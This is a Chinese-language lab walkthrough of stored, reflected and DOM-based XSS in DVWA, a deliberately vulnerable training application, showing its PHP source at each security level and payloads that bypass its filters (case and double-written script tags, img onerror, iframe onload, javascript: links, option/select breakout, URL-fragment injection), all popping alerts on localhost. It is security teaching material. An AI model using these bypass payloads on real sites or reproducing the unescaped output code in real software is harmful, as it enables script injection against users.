简介

XSS攻击(Cross Site Scripting,跨站脚本攻击)通常指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

常见的输出函数有: echoprintfprintprint_rsprintfdievar-dumpvar_export

XSS主要分为三类:存储型XSS、反射型XSS和DOM型XSS

DVWA——XSS原理学习[DVWA源码下载]

DVWA——存储型XSS

什么是存储型XSS

攻击者可以通过XSS漏洞将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

Low

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
?>

从源码中可以看出,这个对输入的东西没有任何过滤与检查,并且数据是存储在数据库中的。

image-20200702161331980

在Message栏中输入 <script>alert(123)</script>,Name随便填入一个值,点击Sign Guestbook提交数据

image-20200702162455354

等页面刷新后会产生弹窗123,说明XSS漏洞存在并且能够利用成功。

再进行尝试也会发现Name框也是存在XSS漏洞的,但是它有10个字符的长度限制,我们可以使用F12的开发者工具修改长度限制,或者直接使用BurpSuite抓包注入绕过限制。

Medium

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

可以看到,对于Message参数使用了htmlspecialchars()进行编码,所以无法在这里利用XSS注入代码。对于Name参数,只有一个字符串替换函数,它只过滤<script>,将<script>字符替换为空值,所以可以尝试使用双写或者大写绕过,亦或者使用img,iframe,a等标签绕过

双写或者大写绕过:

<SCRIPT>alert(234)</script><scr<script>ipt>alert(234)</script>

image-20200702165840119

这里同样也需要多做一步绕过长度限制

a标签绕过:

这里使用BurpSuite抓包以绕过长度限制

首先,Name参数和Message参数填写任意值并提交使BurpSuite拦截到数据包

image-20200702172455547

然后修改下面的txtName参数为我们要注入的弹窗代码

1
<a href=javascript:alert(789)>Link</a>

image-20200702172917834

然后点击Forward发送请求包,关闭BP拦截,就可以在页面看到一个链接

image-20200702173103286

点击链接就可以出发弹窗的恶意代码。

image-20200702173232457

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

通过源码可以看到,Message参数依然不能注入,然而对于Name参数,有更高一级的过滤,不再是过滤字符串,而是直接过滤<script>标签,这里我们就无法再使用含有<script>标签的代码进行注入,可以换用其他方式进行注入

使用img标签

1
<img src=0 onerror=alert(345)>

这里将src的地址设置为一个不可能的地址,所以会报错触发alert弹窗

image-20200702171305834

使用iframe标签

1
<iframe onload=alert(345)>

image-20200702171227109

impossible

再看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

没什么漏洞,依旧无懈可击~~ 世界依然很美好~~

DVWA——反射型XSS

什么是反射型XSS

如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面

会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户。对于开发者而言,使用这种

机制非常方便,因为它允许他们从应用程序中调用一个定制的错误页面,而不需要对错误页面中的

消息分别进行硬编码。

Low

看一下源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

从源码可以知道,代码没有对Name参数的值做任何过滤,所以很容易存在XSS漏洞。

在输入框输入<script>alert('hacked')</script>并提交

可以成功执行弹窗的恶意代码

image-20200702192744648

Medium

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

过滤方式同存储型XSS基本相同,都是只过滤<script>字符串,所以可以使用双写或者大写来绕过过滤,也可以使用其他标签实现恶意代码的注入。

1
<Script>alert("hack!")</Script>

image-20200702193120321

这里使用大写来绕过script的过滤,提交之后弹出自己构造的弹窗,说明攻击成功

High

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

这里也是对<script>标签进行了过滤,无法通过对标签大小写变形来实现注入

注入代码:

1
<img src=0 onerror=alert("hacked_high")>

填入注入代码后提交就可以在页面弹窗实现恶意攻击

image-20200702194121523

对于反射型XSS,它的注入参数多半是在URL中提交的,以High级别为例,它的URL是 http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%22hacked_high%22%29%3E#,可以看到我们刚才注入的语句也是包含在URL中提交的,所以反射型的XSS是非持久性的。

DOM型XSS

什么是DOM型XSS

基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无

关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显

示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如URL ,location,refelTer

等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器

端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生

DOM XSS漏洞。

Low

先看一下源码:

1
2
3
4
5
<?php

# No protections, anything goes

?>

从源代码可以看出,这里low级别的代码没有任何的保护性措施

image-20200702200728063

这里是让我们选择默认语言,但是对default参数没有任何的过滤,所以我们可以在URL中构造XSS代码:

1
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

可以看到,代码执行成功了

image-20200702200926240

Medium

先看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

可以看到,medium级别的代码先检查了default参数是否为空,这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English

很明显,这里过滤了<script (不区分大小写),那么我们可以使用<img src=1 onerror=alert('hack')>进行注入,但是,不行,网页没有弹窗出现

查看源码发现注入的语句是存在value的值中的,需要闭合前面的option标签,于是添加闭合的语句重新构造:

1
></option><img src=1 onerror=alert('hack')> 

但是我们的注入语句还是没有执行,查看源代码,发现我们注入的语句还是没有逃出<option>标签的魔爪,依然在它的value参数的值中

image-20200703094335426

看到上面还有<select>标签,于是考虑将select标签再进行闭合,注入的语句为:

1
></option></select><img src=1 onerror=alert('hack')> 

这次是注入成功的

image-20200703094746391

再查看源码,可以看到我们注入的img标签语句被单独列出来执行了

image-20200703094857932

High

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

可以看到,服务器端代码会先判断default的值是否为空,如果不为空则会按照switch语句进行

匹配,匹配不上则使用默认值。所以我们要想执行代码,不能将代码传入服务器后台,必须使用

一种无须将代码发送到服务器即可运行代码的方法。

URL锚:URL的锚(指URL中#之后的所有内容)不会发送到服务器,所以不会被服务器端的代码阻止掉。

当我们注入恶意代码的时候,代码不会从服务器加载过来,而是由浏览器加载,从而造成恶意代码的执行。

含有恶意代码的链接:

1
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English # <script>alert(101)</script>

加载链接后,页面产生了弹窗

image-20200703111102446

查看源代码,可以看到恶意代码被加载了

image-20200703111156681

impossible

都告诉你不可能了,所以,就想都不要想了—.—